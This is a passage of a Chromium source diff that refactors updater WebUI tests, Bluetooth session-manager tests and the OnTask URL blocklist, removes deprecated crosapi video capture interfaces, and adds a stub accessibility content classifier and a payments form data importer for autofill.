+    const value = row.querySelector('enterprise-policy-value');
+    assertTrue(!!value);
+    assertEquals('Policy1', value.policyName);
+    assertEquals('Value2', value.value);
+  });
+});
diff --git a/chrome/test/data/webui/updater/updater_browsertest.cc b/chrome/test/data/webui/updater/updater_browsertest.cc
index e9ccedf..7b18578 100644
--- a/chrome/test/data/webui/updater/updater_browsertest.cc
+++ b/chrome/test/data/webui/updater/updater_browsertest.cc
@@ -62,6 +62,12 @@
           "mocha.run();");
 }
 
+IN_PROC_BROWSER_TEST_F(UpdaterAppTest, EnterprisePolicyTableSectionTest) {
+  RunTest(
+      "updater/enterprise_policy_table/enterprise_policy_table_section_test.js",
+      "mocha.run();");
+}
+
 IN_PROC_BROWSER_TEST_F(UpdaterAppTest, FilterDialogFooterTest) {
   RunTest("updater/event_list/filter_dialog/filter_dialog_footer_test.js",
           "mocha.run();");
diff --git a/chrome/test/data/webui/updater/updater_state/updater_state_test.ts b/chrome/test/data/webui/updater/updater_state/updater_state_test.ts
index 0146abf..d2ff5b85 100644
--- a/chrome/test/data/webui/updater/updater_state/updater_state_test.ts
+++ b/chrome/test/data/webui/updater/updater_state/updater_state_test.ts
@@ -34,25 +34,17 @@
     installationDirectory: {path: '/path/to/companion'} as unknown as FilePath,
   };
 
-  setup(() => {
+  setup(async () => {
     document.body.innerHTML = window.trustedTypes!.emptyHTML;
     handler = TestMock.fromClass(PageHandlerRemote);
     BrowserProxyImpl.getInstance().handler = handler;
 
-    handler.setPromiseResolveFor('getEnterpriseCompanionState', {state: null});
-  });
-
-  test('renders nothing when no states', async () => {
-    handler.setPromiseResolveFor('getUpdaterStates', {
-      user: null,
-      system: null,
-    });
-
     element = document.createElement('updater-state');
     document.body.appendChild(element);
-
     await microtasksFinished();
+  });
 
+  test('renders nothing when no states', () => {
     const message = element.shadowRoot.querySelector('#no-updater-message');
     assertTrue(!!message);
     assertEquals(
@@ -66,14 +58,7 @@
   });
 
   test('renders user state', async () => {
-    handler.setPromiseResolveFor('getUpdaterStates', {
-      user: updaterState,
-      system: null,
-    });
-
-    element = document.createElement('updater-state');
-    document.body.appendChild(element);
-
+    element.userUpdaterState = updaterState;
     await microtasksFinished();
 
     const message = element.shadowRoot.querySelector('#no-updater-message');
@@ -85,14 +70,7 @@
   });
 
   test('renders system state', async () => {
-    handler.setPromiseResolveFor('getUpdaterStates', {
-      user: null,
-      system: updaterState,
-    });
-
-    element = document.createElement('updater-state');
-    document.body.appendChild(element);
-
+    element.systemUpdaterState = updaterState;
     await microtasksFinished();
 
     const message = element.shadowRoot.querySelector('#no-updater-message');
@@ -104,12 +82,8 @@
   });
 
   test('renders both states', async () => {
-    handler.setPromiseResolveFor(
-        'getUpdaterStates', {user: updaterState, system: updaterState});
-
-    element = document.createElement('updater-state');
-    document.body.appendChild(element);
-
+    element.userUpdaterState = updaterState;
+    element.systemUpdaterState = updaterState;
     await microtasksFinished();
 
     const message = element.shadowRoot.querySelector('#no-updater-message');
@@ -122,16 +96,7 @@
   });
 
   test('renders enterprise companion state', async () => {
-    handler.setPromiseResolveFor('getUpdaterStates', {
-      user: null,
-      system: null,
-    });
-    handler.setPromiseResolveFor(
-        'getEnterpriseCompanionState', {state: enterpriseCompanionState});
-
-    element = document.createElement('updater-state');
-    document.body.appendChild(element);
-
+    element.enterpriseCompanionState = enterpriseCompanionState;
     await microtasksFinished();
 
     assertFalse(!!element.shadowRoot.querySelector('#no-updater-message'));
@@ -143,12 +108,8 @@
     assertEquals('/path/to/companion', card.installPath);
   });
 
-  test('renders error message when updater state query fails', async () => {
-    handler.setPromiseRejectFor('getUpdaterStates');
-
-    element = document.createElement('updater-state');
-    document.body.appendChild(element);
-
+  test('renders error message', async () => {
+    element.error = true;
     await microtasksFinished();
 
     const errorMessage = element.shadowRoot.querySelector('#error-message');
@@ -162,42 +123,9 @@
         0, element.shadowRoot.querySelectorAll('updater-state-card').length);
   });
 
-  test(
-      'renders error message when enterprise companion state query fails',
-      async () => {
-        handler.setPromiseResolveFor('getUpdaterStates', {
-          user: null,
-          system: null,
-        });
-        handler.setPromiseRejectFor('getEnterpriseCompanionState');
-
-        element = document.createElement('updater-state');
-        document.body.appendChild(element);
-
-        await microtasksFinished();
-
-        const errorMessage = element.shadowRoot.querySelector('#error-message');
-        assertTrue(!!errorMessage);
-        assertEquals(
-            loadTimeData.getString('updaterStateQueryFailed'),
-            errorMessage.textContent.trim());
-
-        assertFalse(!!element.shadowRoot.querySelector('#no-updater-message'));
-        assertEquals(
-            0,
-            element.shadowRoot.querySelectorAll('updater-state-card').length);
-      });
-
   suite('provides installation directory', () => {
     test('from string', async () => {
-      handler.setPromiseResolveFor('getUpdaterStates', {
-        user: null,
-        system: updaterState,
-      });
-
-      element = document.createElement('updater-state');
-      document.body.appendChild(element);
-
+      element.systemUpdaterState = updaterState;
       await microtasksFinished();
 
       const cards = element.shadowRoot.querySelectorAll('updater-state-card');
@@ -206,17 +134,10 @@
     });
 
     test('from UTF-16 byte array', async () => {
-      handler.setPromiseResolveFor('getUpdaterStates', {
-        user: null,
-        system: {
-          ...updaterState,
-          installationDirectory: {path: [55357, 56960]} as unknown as FilePath,
-        },
-      });
-
-      element = document.createElement('updater-state');
-      document.body.appendChild(element);
-
+      element.systemUpdaterState = {
+        ...updaterState,
+        installationDirectory: {path: [55357, 56960]} as unknown as FilePath,
+      };
       await microtasksFinished();
 
       const cards = element.shadowRoot.querySelectorAll('updater-state-card');
diff --git a/chromeos/CHROMEOS_LKGM b/chromeos/CHROMEOS_LKGM
index 6db1965..33d0e9ad 100644
--- a/chromeos/CHROMEOS_LKGM
+++ b/chromeos/CHROMEOS_LKGM
@@ -1 +1 @@
-16576.0.0-1075079
\ No newline at end of file
+16577.0.0-1075099
\ No newline at end of file
diff --git a/chromeos/ash/components/boca/on_task/on_task_blocklist.cc b/chromeos/ash/components/boca/on_task/on_task_blocklist.cc
index 0b2ad3c8..a4047a6 100644
--- a/chromeos/ash/components/boca/on_task/on_task_blocklist.cc
+++ b/chromeos/ash/components/boca/on_task/on_task_blocklist.cc
@@ -7,9 +7,9 @@
 #include <algorithm>
 #include <memory>
 #include <string>
+#include <string_view>
 #include <utility>
 
-#include "base/no_destructor.h"
 #include "base/strings/string_util.h"
 #include "base/values.h"
 #include "components/google/core/common/google_util.h"
@@ -24,10 +24,7 @@
 
 constexpr char kAllTrafficWildcard[] = "*";
 
-const std::string& GetCommonUrlPrefix() {
-  static const base::NoDestructor<std::string> prefix("www.");
-  return *prefix;  // provides pointer-like access
-}
+constexpr std::string_view kCommonUrlPrefix = "www.";
 
 // Returns a URL filter that covers all URL navigations.
 base::ListValue GetAllTrafficFilter() {
@@ -36,7 +33,7 @@
   return all_traffic;
 }
 
-void RemovePrefix(std::string& url_str, const std::string& prefix) {
+void RemovePrefix(std::string& url_str, std::string_view prefix) {
   if (base::StartsWith(url_str, prefix)) {
     std::string::size_type iter = url_str.find(prefix);
     if (iter != std::string::npos) {
@@ -50,7 +47,7 @@
 
   std::string domain_traffic_filter = url.GetWithEmptyPath().GetContent();
 
-  RemovePrefix(domain_traffic_filter, GetCommonUrlPrefix());
+  RemovePrefix(domain_traffic_filter, kCommonUrlPrefix);
   allowed_traffic.Append(domain_traffic_filter);
   return allowed_traffic;
 }
diff --git a/chromeos/ash/components/camera_presence_notifier/camera_presence_notifier_unittest.cc b/chromeos/ash/components/camera_presence_notifier/camera_presence_notifier_unittest.cc
index 15e3ad5..7a443cb 100644
--- a/chromeos/ash/components/camera_presence_notifier/camera_presence_notifier_unittest.cc
+++ b/chromeos/ash/components/camera_presence_notifier/camera_presence_notifier_unittest.cc
@@ -57,10 +57,6 @@
       mojo::PendingReceiver<cros::mojom::CameraAppDeviceBridge> receiver)
       override {}
 
-  void BindVideoCaptureDeviceFactory(
-      mojo::PendingReceiver<crosapi::mojom::VideoCaptureDeviceFactory> receiver)
-      override {}
-
   void ConnectToVideoSourceProvider(
       mojo::PendingReceiver<video_capture::mojom::VideoSourceProvider> receiver)
       override {
diff --git a/chromeos/ash/services/bluetooth_config/BUILD.gn b/chromeos/ash/services/bluetooth_config/BUILD.gn
index 8bfd314..fa6b5fb 100644
--- a/chromeos/ash/services/bluetooth_config/BUILD.gn
+++ b/chromeos/ash/services/bluetooth_config/BUILD.gn
@@ -184,11 +184,11 @@
     "//components/prefs:test_support",
     "//components/session_manager/core",
     "//components/session_manager/core:test_support",
+    "//components/session_manager/test:test_support",
     "//components/sync_preferences:test_support",
     "//components/user_manager:test_support",
     "//device/bluetooth:mocks",
     "//mojo/public/cpp/bindings",
-    "//testing/gmock",
     "//testing/gtest",
   ]
 
diff --git a/chromeos/ash/services/bluetooth_config/DEPS b/chromeos/ash/services/bluetooth_config/DEPS
index 4271399..65793cf2 100644
--- a/chromeos/ash/services/bluetooth_config/DEPS
+++ b/chromeos/ash/services/bluetooth_config/DEPS
@@ -6,3 +6,9 @@
   "+device/bluetooth",
   "+third_party/re2",
 ]
+
+specific_include_rules = {
+  ".*test\\.cc": [
+    "+components/session_manager/test",
+  ]
+}
diff --git a/chromeos/ash/services/bluetooth_config/bluetooth_power_controller_impl_unittest.cc b/chromeos/ash/services/bluetooth_config/bluetooth_power_controller_impl_unittest.cc
index e981ac90..ac9798c 100644
--- a/chromeos/ash/services/bluetooth_config/bluetooth_power_controller_impl_unittest.cc
+++ b/chromeos/ash/services/bluetooth_config/bluetooth_power_controller_impl_unittest.cc
@@ -8,14 +8,10 @@
 #include "base/memory/raw_ptr.h"
 #include "base/test/task_environment.h"
 #include "chromeos/ash/services/bluetooth_config/fake_adapter_state_controller.h"
-#include "components/session_manager/core/fake_session_manager_delegate.h"
-#include "components/session_manager/core/session_manager.h"
+#include "components/account_id/account_id.h"
+#include "components/session_manager/test/test_user_session_manager.h"
 #include "components/sync_preferences/testing_pref_service_syncable.h"
-#include "components/user_manager/fake_user_manager.h"
-#include "components/user_manager/scoped_user_manager.h"
-#include "components/user_manager/test_helper.h"
 #include "google_apis/gaia/gaia_id.h"
-#include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace ash::bluetooth_config {
@@ -42,22 +38,17 @@
   void SetUp() override {
     BluetoothPowerControllerImpl::RegisterLocalStatePrefs(
         local_state()->registry());
+    ash::test::TestUserSessionManager::RegisterLocalStatePrefs(
+        local_state()->registry());
+
     BluetoothPowerControllerImpl::RegisterProfilePrefs(
         active_user_prefs()->registry());
 
-    session_manager_ = std::make_unique<session_manager::SessionManager>(
-        std::make_unique<session_manager::FakeSessionManagerDelegate>());
-
-    user_manager::UserManagerImpl::RegisterPrefs(local_state()->registry());
-    fake_user_manager_.Reset(
-        std::make_unique<user_manager::FakeUserManager>(local_state()));
-    session_manager_->OnUserManagerCreated(fake_user_manager_.Get());
+    test_user_session_manager_ =
+        std::make_unique<ash::test::TestUserSessionManager>(&local_state_);
   }
 
-  void TearDown() override {
-    session_manager_.reset();
-    fake_user_manager_.Reset();
-  }
+  void TearDown() override { test_user_session_manager_.reset(); }
 
   void Init() {
     bluetooth_power_controller_ =
@@ -70,33 +61,14 @@
   void AddUserSession(const std::string& display_email,
                       const GaiaId& gaia_id,
                       bool is_user_kiosk = false,
-                      bool is_new_profile = false) {
-    const user_manager::User* user;
-    if (is_user_kiosk) {
-      user = user_manager::TestHelper(fake_user_manager_.Get())
-                 .AddKioskChromeAppUser(display_email);
-    } else {
-      user = fake_user_manager_->AddGaiaUser(
-          AccountId::FromUserEmailGaiaId(display_email, gaia_id),
-          user_manager::UserType::kRegular);
-    }
+                      bool new_user = false) {
+    const user_manager::User* user =
+        is_user_kiosk
+            ? test_user_session_manager_->AddKioskChromeAppUser(display_email)
+            : test_user_session_manager_->AddRegularUser(
+                  AccountId::FromUserEmailGaiaId(display_email, gaia_id));
 
-    // Create a session in SessionManager. This will also login the user in
-    // UserManager.
-    session_manager_->CreateSession(
-        user->GetAccountId(),
-        // TODO(crbug.com/278643115): Looks incorrect.
-        // User's username_hash should be set inside CreateSession via
-        // UserManager::UserLoggedIn().
-        user->username_hash(),
-        /*new_user=*/is_new_profile,
-        /*has_active_session=*/false);
-    session_manager_->SessionStarted();
-
-    // Logging in doesn't set the user in UserManager as the active user if
-    // there already is an active user, do so manually.
-    fake_user_manager_->SwitchActiveUser(user->GetAccountId());
-
+    test_user_session_manager_->LogIn(user->GetAccountId(), new_user);
     bluetooth_power_controller_->SetPrefs(&active_user_prefs_, local_state());
   }
 
@@ -131,12 +103,9 @@
  private:
   base::test::TaskEnvironment task_environment_;
   sync_preferences::TestingPrefServiceSyncable local_state_;
-  user_manager::TypedScopedUserManager<user_manager::FakeUserManager>
-      fake_user_manager_;
-  std::unique_ptr<session_manager::SessionManager> session_manager_;
+  std::unique_ptr<ash::test::TestUserSessionManager> test_user_session_manager_;
 
   sync_preferences::TestingPrefServiceSyncable active_user_prefs_;
-
   FakeAdapterStateController fake_adapter_state_controller_;
 
   std::unique_ptr<BluetoothPowerController> bluetooth_power_controller_;
diff --git a/chromeos/crosapi/mojom/crosapi.mojom b/chromeos/crosapi/mojom/crosapi.mojom
index 444dadc..3f47a6b 100644
--- a/chromeos/crosapi/mojom/crosapi.mojom
+++ b/chromeos/crosapi/mojom/crosapi.mojom
@@ -248,12 +248,7 @@
   // BindTimeZoneService@65 was removed.
   // BindTts@58 was removed.
   // BindUrlHandler@18 was removed.
-
-  // Binds the device factory in video capture service.
-  // Added in M90.
-  [MinVersion=20] BindVideoCaptureDeviceFactory@25(
-      pending_receiver<crosapi.mojom.VideoCaptureDeviceFactory> receiver);
-
+  // BindVideoCaptureDeviceFactory@25 was removed.
   // BindVideoConferenceManager@102 was removed.
   // BindVirtualKeyboard@91 was removed.
   // BindVpnExtensionObserver@78 was removed.
diff --git a/chromeos/crosapi/mojom/video_capture.mojom b/chromeos/crosapi/mojom/video_capture.mojom
index 37f7ff3..bc25dde 100644
--- a/chromeos/crosapi/mojom/video_capture.mojom
+++ b/chromeos/crosapi/mojom/video_capture.mojom
@@ -136,10 +136,6 @@
 
   OnNewBuffer@0(int32 buffer_id, VideoBufferHandle buffer_handle);
 
-  // Deprecated in favor of OnFrameReadyInBuffer() without `scaled_buffers`.
-  // TODO(crbug.com/40938620): Delete when safe to do so.
-  DEPRECATED_OnFrameReadyInBuffer@1(ReadyFrameInBuffer buffer,
-                                    array<ReadyFrameInBuffer> scaled_buffers);
   [MinVersion=13]
   OnFrameReadyInBuffer@13(ReadyFrameInBuffer buffer);
 
@@ -149,14 +145,6 @@
 
   OnFrameDropped@4(media.mojom.VideoCaptureFrameDropReason reason);
 
-  // Deprecated in favor of OnNewCaptureVersion.
-  [MinVersion=2]
-  DEPRECATED_OnNewCropVersion@10(uint32 crop_version);
-
-  // Deprecated in favor of OnNewCaptureTargetVersion.
-  [MinVersion=4]
-  DEPRECATED_OnNewSubCaptureTargetVersion@12(uint32 sub_capture_target_version);
-
   [MinVersion=14]
   OnNewCaptureVersion@14(media.mojom.CaptureVersion capture_version);
 
@@ -171,40 +159,3 @@
 
   OnStopped@8();
 };
-
-// Similar to |video_capture.mojom.Device| but depends on simplified structures.
-// Next min method ID: 8
-[Uuid="f50f1672-d512-451e-9c70-998ed45ab596"]
-interface VideoCaptureDevice {
-  // It is assumed that it will be called only once.
-  Start@0(media.mojom.VideoCaptureParams requested_settings,
-          pending_remote<VideoFrameHandler> handler);
-
-  MaybeSuspend@1();
-
-  Resume@2();
-
-  GetPhotoState@3() => (media.mojom.PhotoState? capabilities);
-
-  SetPhotoOptions@4(media.mojom.PhotoSettings settings) => (bool success);
-
-  TakePhoto@5() => (media.mojom.Blob? blob);
-
-  ProcessFeedback@6(media.mojom.VideoCaptureFeedback feedback);
-
-  [MinVersion = 1]
-  RequestRefreshFrame@7();
-};
-
-// Similar to |video_capture.mojom.DeviceFactory| but depends on simplified
-// structures.
-// Next min method ID: 2
-[Uuid="b79ed8be-cf39-4d0d-a819-2d299022124a"]
-interface VideoCaptureDeviceFactory {
-  GetDeviceInfos@0()
-      => (array<media.mojom.VideoCaptureDeviceInfo> device_infos);
-
-  CreateDevice@1(string device_id,
-                 pending_receiver<VideoCaptureDevice> device_receiver)
-      => (DeviceAccessResultCode result_code);
-};
diff --git a/clank b/clank
index b00a574..2073fa3 160000
--- a/clank
+++ b/clank
@@ -1 +1 @@
-Subproject commit b00a5740a69683220ef77346e7b220345f3a8ed0
+Subproject commit 2073fa347a6bf0b1ed4a1e2d355514cb38453169
diff --git a/components/BUILD.gn b/components/BUILD.gn
index 7d1bd66..c8a46ed 100644
--- a/components/BUILD.gn
+++ b/components/BUILD.gn
@@ -56,7 +56,8 @@
   if (use_blink) {
     bundle_data("components_tests_distiller_bundle_data") {
       testonly = true
-      deps = [ "//components/dom_distiller/core:dom_distiller_viewer_js" ]
+      public_deps =
+          [ "//components/dom_distiller/core:dom_distiller_viewer_js" ]
       sources = [
         "$root_gen_dir/components/dom_distiller/core/javascript/dom_distiller_viewer.js",
         "//third_party/dom_distiller_js/dist/test/data/out/domdistillerjstest.js",
@@ -743,6 +744,7 @@
     }
   } else {  #!is_android
     deps += [
+      "//components/accessibility_annotator/content/content_annotator:unit_tests",
       "//components/keep_alive_registry:unit_tests",
       "//components/manta:unit_tests",
       "//components/trusted_vault:unit_tests",
diff --git a/components/accessibility_annotator/content/content_annotator/BUILD.gn b/components/accessibility_annotator/content/content_annotator/BUILD.gn
index eca045c..5a2b983 100644
--- a/components/accessibility_annotator/content/content_annotator/BUILD.gn
+++ b/components/accessibility_annotator/content/content_annotator/BUILD.gn
@@ -6,6 +6,8 @@
   sources = [
     "content_annotator_service.cc",
     "content_annotator_service.h",
+    "content_classifier.cc",
+    "content_classifier.h",
   ]
 
   deps = [
@@ -14,3 +16,14 @@
     "//components/page_content_annotations/core",
   ]
 }
+
+source_set("unit_tests") {
+  testonly = true
+  sources = [ "content_classifier_unittest.cc" ]
+  deps = [
+    ":content_annotator",
+    "//base/test:test_support",
+    "//testing/gtest",
+    "//url",
+  ]
+}
diff --git a/components/accessibility_annotator/content/content_annotator/content_classifier.cc b/components/accessibility_annotator/content/content_annotator/content_classifier.cc
new file mode 100644
index 0000000..ec88dc2
--- /dev/null
+++ b/components/accessibility_annotator/content/content_annotator/content_classifier.cc
@@ -0,0 +1,30 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/accessibility_annotator/content/content_annotator/content_classifier.h"
+
+namespace accessibility_annotator {
+
+ContentClassificationInput::ContentClassificationInput(GURL url) : url(url) {}
+ContentClassificationInput::~ContentClassificationInput() = default;
+ContentClassificationInput::ContentClassificationInput(
+    const ContentClassificationInput& other) = default;
+
+void ContentClassificationInput::MergeFrom(
+    const ContentClassificationInput& data) {
+  // TODO(crbug.com/475859254): Implement logic to merge the data.
+}
+
+bool ContentClassificationInput::IsComplete() const {
+  return sensitivity_score.has_value() && navigation_timestamp.has_value() &&
+         adopted_language.has_value() && page_title.has_value();
+}
+
+ContentClassificationResult RunContentClassification(
+    const ContentClassificationInput& input) {
+  // TODO(crbug.com/479259274): Implement running classification on the input.
+  return ContentClassificationResult();
+}
+
+}  // namespace accessibility_annotator
diff --git a/components/accessibility_annotator/content/content_annotator/content_classifier.h b/components/accessibility_annotator/content/content_annotator/content_classifier.h
new file mode 100644
index 0000000..05025859
--- /dev/null
+++ b/components/accessibility_annotator/content/content_annotator/content_classifier.h
@@ -0,0 +1,47 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_ACCESSIBILITY_ANNOTATOR_CONTENT_CONTENT_ANNOTATOR_CONTENT_CLASSIFIER_H_
+#define COMPONENTS_ACCESSIBILITY_ANNOTATOR_CONTENT_CONTENT_ANNOTATOR_CONTENT_CLASSIFIER_H_
+
+#include "base/time/time.h"
+#include "url/gurl.h"
+
+namespace accessibility_annotator {
+
+// Data collected from various observations about a URL for classification.
+struct ContentClassificationInput {
+  explicit ContentClassificationInput(GURL url);
+  ContentClassificationInput(const ContentClassificationInput&);
+  ~ContentClassificationInput();
+
+  GURL url;
+  std::optional<float> sensitivity_score;
+  std::optional<base::Time> navigation_timestamp;
+  std::optional<std::string> adopted_language;
+  std::optional<std::string> page_title;
+
+  // Merges the data from `from` into this object populating the fields that are
+  // not set. The url is expected to be the same. Conflicts are resolved by
+  // `navigation_timestamp` if available otherwise values in `from` take
+  // precedence.
+  void MergeFrom(const ContentClassificationInput& from);
+
+  // Returns true if all fields are populated.
+  bool IsComplete() const;
+};
+
+// TODO(crbug.com/479259274): Finalize expected output of classification.
+struct ContentClassificationResult {
+  enum class Status { kUnknown };
+  Status status = Status::kUnknown;
+};
+
+// Runs classification on the given input.
+ContentClassificationResult RunContentClassification(
+    const ContentClassificationInput& input);
+
+}  // namespace accessibility_annotator
+
+#endif  // COMPONENTS_ACCESSIBILITY_ANNOTATOR_CONTENT_CONTENT_ANNOTATOR_CONTENT_CLASSIFIER_H_
diff --git a/components/accessibility_annotator/content/content_annotator/content_classifier_unittest.cc b/components/accessibility_annotator/content/content_annotator/content_classifier_unittest.cc
new file mode 100644
index 0000000..d9167df
--- /dev/null
+++ b/components/accessibility_annotator/content/content_annotator/content_classifier_unittest.cc
@@ -0,0 +1,49 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/accessibility_annotator/content/content_annotator/content_classifier.h"
+
+#include "base/time/time.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace accessibility_annotator {
+
+namespace {
+
+TEST(ContentClassificationInputTest, IsComplete) {
+  ContentClassificationInput complete_input(GURL("https://www.example.com"));
+  complete_input.sensitivity_score = 0.1f;
+  complete_input.navigation_timestamp = base::Time::Now();
+  complete_input.adopted_language = "en";
+  complete_input.page_title = "Example Page";
+  EXPECT_TRUE(complete_input.IsComplete());
+
+  {
+    ContentClassificationInput input = complete_input;
+    input.sensitivity_score.reset();
+    EXPECT_FALSE(input.IsComplete());
+  }
+  {
+    ContentClassificationInput input = complete_input;
+    input.navigation_timestamp.reset();
+    EXPECT_FALSE(input.IsComplete());
+  }
+  {
+    ContentClassificationInput input = complete_input;
+    input.adopted_language.reset();
+    EXPECT_FALSE(input.IsComplete());
+  }
+  {
+    ContentClassificationInput input = complete_input;
+    input.page_title.reset();
+    EXPECT_FALSE(input.IsComplete());
+  }
+
+  ContentClassificationInput empty_input(GURL(""));
+  EXPECT_FALSE(empty_input.IsComplete());
+}
+
+}  // namespace
+
+}  // namespace accessibility_annotator
diff --git a/components/autofill/core/browser/BUILD.gn b/components/autofill/core/browser/BUILD.gn
index 126ac93..9a24ec5c 100644
--- a/components/autofill/core/browser/BUILD.gn
+++ b/components/autofill/core/browser/BUILD.gn
@@ -304,6 +304,8 @@
     "form_import/form_data_importer.h",
     "form_import/form_data_importer_utils.cc",
     "form_import/form_data_importer_utils.h",
+    "form_import/payments/payments_form_data_importer.cc",
+    "form_import/payments/payments_form_data_importer.h",
     "form_parsing/address_field_parser.cc",
     "form_parsing/address_field_parser.h",
     "form_parsing/address_field_parser_ng.cc",
diff --git a/components/autofill/core/browser/data_model/autofill_ai/entity_type.h b/components/autofill/core/browser/data_model/autofill_ai/entity_type.h
index c49b26b..8c439141 100644
--- a/components/autofill/core/browser/data_model/autofill_ai/entity_type.h
+++ b/components/autofill/core/browser/data_model/autofill_ai/entity_type.h
@@ -116,6 +116,11 @@
   friend constexpr auto operator<=>(const AttributeType& lhs,
                                     const AttributeType& rhs) = default;
 
+  template <typename H>
+  friend H AbslHashValue(H h, AttributeType attribute_type) {
+    return H::combine(std::move(h), attribute_type.name_);
+  }
+
  private:
   AttributeTypeName name_{};
 };
@@ -417,6 +422,11 @@
   friend constexpr auto operator<=>(const EntityType& lhs,
                                     const EntityType& rhs) = default;
 
+  template <typename H>
+  friend H AbslHashValue(H h, EntityType entity_type) {
+    return H::combine(std::move(h), entity_type.name_);
+  }
+
  private:
   EntityTypeName name_{};
 };
diff --git a/components/autofill/core/browser/data_model/autofill_ai/entity_type_unittest.cc b/components/autofill/core/browser/data_model/autofill_ai/entity_type_unittest.cc
index 67990c9..5ec2b06 100644
--- a/components/autofill/core/browser/data_model/autofill_ai/entity_type_unittest.cc
+++ b/components/autofill/core/browser/data_model/autofill_ai/entity_type_unittest.cc
@@ -10,6 +10,7 @@
 #include "components/autofill/core/common/autofill_features.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_map.h"
 
 namespace autofill {
 namespace {
@@ -167,5 +168,19 @@
   EXPECT_TRUE(EntityType(kRedressNumber).SupportsMaskedStorage());
 }
 
+// Tests that `EntityType` and `AttributeType` can be used in
+// `absl::flat_hash_map`.
+TEST(AutofillEntityTypeTest, CanBeUsedInAbslFlatHashMap) {
+  absl::flat_hash_map<EntityType, int> entity_type_map;
+  auto passport = EntityType(EntityTypeName::kPassport);
+  entity_type_map[passport] = 1;
+  EXPECT_EQ(entity_type_map[passport], 1);
+
+  absl::flat_hash_map<AttributeType, int> attribute_type_map;
+  auto passport_name = AttributeType(AttributeTypeName::kPassportName);
+  attribute_type_map[passport_name] = 2;
+  EXPECT_EQ(attribute_type_map[passport_name], 2);
+}
+
 }  // namespace
 }  // namespace autofill
diff --git a/components/autofill/core/browser/form_import/form_data_importer.cc b/components/autofill/core/browser/form_import/form_data_importer.cc
index 15012d85..29f9328 100644
--- a/components/autofill/core/browser/form_import/form_data_importer.cc
+++ b/components/autofill/core/browser/form_import/form_data_importer.cc
@@ -41,6 +41,7 @@
 #include "components/autofill/core/browser/field_type_utils.h"
 #include "components/autofill/core/browser/field_types.h"
 #include "components/autofill/core/browser/form_import/addresses/address_profile_save_manager.h"
+#include "components/autofill/core/browser/form_import/payments/payments_form_data_importer.h"
 #include "components/autofill/core/browser/form_parsing/form_field_parser.h"
 #include "components/autofill/core/browser/form_structure.h"
 #include "components/autofill/core/browser/form_types.h"
@@ -232,7 +233,8 @@
       iban_save_manager_(std::make_unique<IbanSaveManager>(client)),
 #endif  // !BUILDFLAG(IS_IOS)
       multistep_importer_(client_->GetAppLocale(),
-                          client_->GetVariationConfigCountryCode()) {
+                          client_->GetVariationConfigCountryCode()),
+      payments_form_data_importer_(client) {
   address_data_manager_observation_.Observe(&address_data_manager());
   if (history_service) {
     history_service_observation_.Observe(history_service);
@@ -1074,10 +1076,10 @@
   return candidate_iban;
 }
 
-FormDataImporter::ExtractCreditCardFromFormResult
+payments::PaymentsFormDataImporter::ExtractCreditCardFromFormResult
 FormDataImporter::ExtractCreditCardFromForm(const FormStructure& form) {
   // Populated by the lambdas below.
-  ExtractCreditCardFromFormResult result;
+  payments::PaymentsFormDataImporter::ExtractCreditCardFromFormResult result;
   std::string app_locale = client_->GetAppLocale();
 
   // Populates `result` from `field` if it's a credit card field.
@@ -1236,6 +1238,11 @@
       payment_method_type_if_non_interactive_authentication_flow_completed;
 }
 
+payments::PaymentsFormDataImporter&
+FormDataImporter::GetPaymentsFormDataImporter() {
+  return payments_form_data_importer_;
+}
+
 AddressDataManager& FormDataImporter::address_data_manager() {
   return client_->GetPersonalDataManager().address_data_manager();
 }
diff --git a/components/autofill/core/browser/form_import/form_data_importer.h b/components/autofill/core/browser/form_import/form_data_importer.h
index ac8d5f4..33ba9a6 100644
--- a/components/autofill/core/browser/form_import/form_data_importer.h
+++ b/components/autofill/core/browser/form_import/form_data_importer.h
@@ -18,6 +18,7 @@
 #include "components/autofill/core/browser/data_manager/addresses/address_data_manager.h"
 #include "components/autofill/core/browser/form_import/addresses/autofill_profile_import_process.h"
 #include "components/autofill/core/browser/form_import/form_data_importer_utils.h"
+#include "components/autofill/core/browser/form_import/payments/payments_form_data_importer.h"
 #include "components/autofill/core/browser/form_structure.h"
 #include "components/history/core/browser/history_service_observer.h"
 #include "services/metrics/public/cpp/ukm_source_id.h"
@@ -98,19 +99,9 @@
                                 bool payment_methods_autofill_enabled,
                                 ukm::SourceId ukm_source_id);
 
-  struct ExtractCreditCardFromFormResult {
-    // The extracted credit card, which may be a candidate for import.
-    // If there is no credit card field in the form, the value is the default
-    // `CreditCard()`.
-    CreditCard card;
-    // If there are multiple credit card fields of the same type in the form, we
-    // won't know which value to import.
-    bool has_duplicate_credit_card_field_type = false;
-  };
-
   // Extracts credit card from the form structure.
-  ExtractCreditCardFromFormResult ExtractCreditCardFromForm(
-      const FormStructure& form);
+  payments::PaymentsFormDataImporter::ExtractCreditCardFromFormResult
+  ExtractCreditCardFromForm(const FormStructure& form);
 
   // Tries to initiate the saving of `extracted_iban` if applicable.
   bool ProcessIbanImportCandidate(Iban& extracted_iban);
@@ -155,6 +146,9 @@
       std::optional<NonInteractivePaymentMethodType>
           payment_method_type_if_non_interactive_authentication_flow_completed);
 
+  // Gets the payments::PaymentsFormDataImporter owned by `this`.
+  payments::PaymentsFormDataImporter& GetPaymentsFormDataImporter();
+
  private:
   // Defines an extracted address profile, which is a candidate for address
   // profile import.
@@ -361,6 +355,9 @@
   // Enables associating recently submitted forms with each other.
   FormAssociator form_associator_;
 
+  // FormDataImporter to handle payments-related functionality.
+  payments::PaymentsFormDataImporter payments_form_data_importer_;
+
   // If the most recent payments autofill flow had a non-interactive
   // authentication,
   // `payment_method_type_if_non_interactive_authentication_flow_completed_`
diff --git a/components/autofill/core/browser/form_import/payments/OWNERS b/components/autofill/core/browser/form_import/payments/OWNERS
new file mode 100644
index 0000000..514f8982b
--- /dev/null
+++ b/components/autofill/core/browser/form_import/payments/OWNERS
@@ -0,0 +1 @@
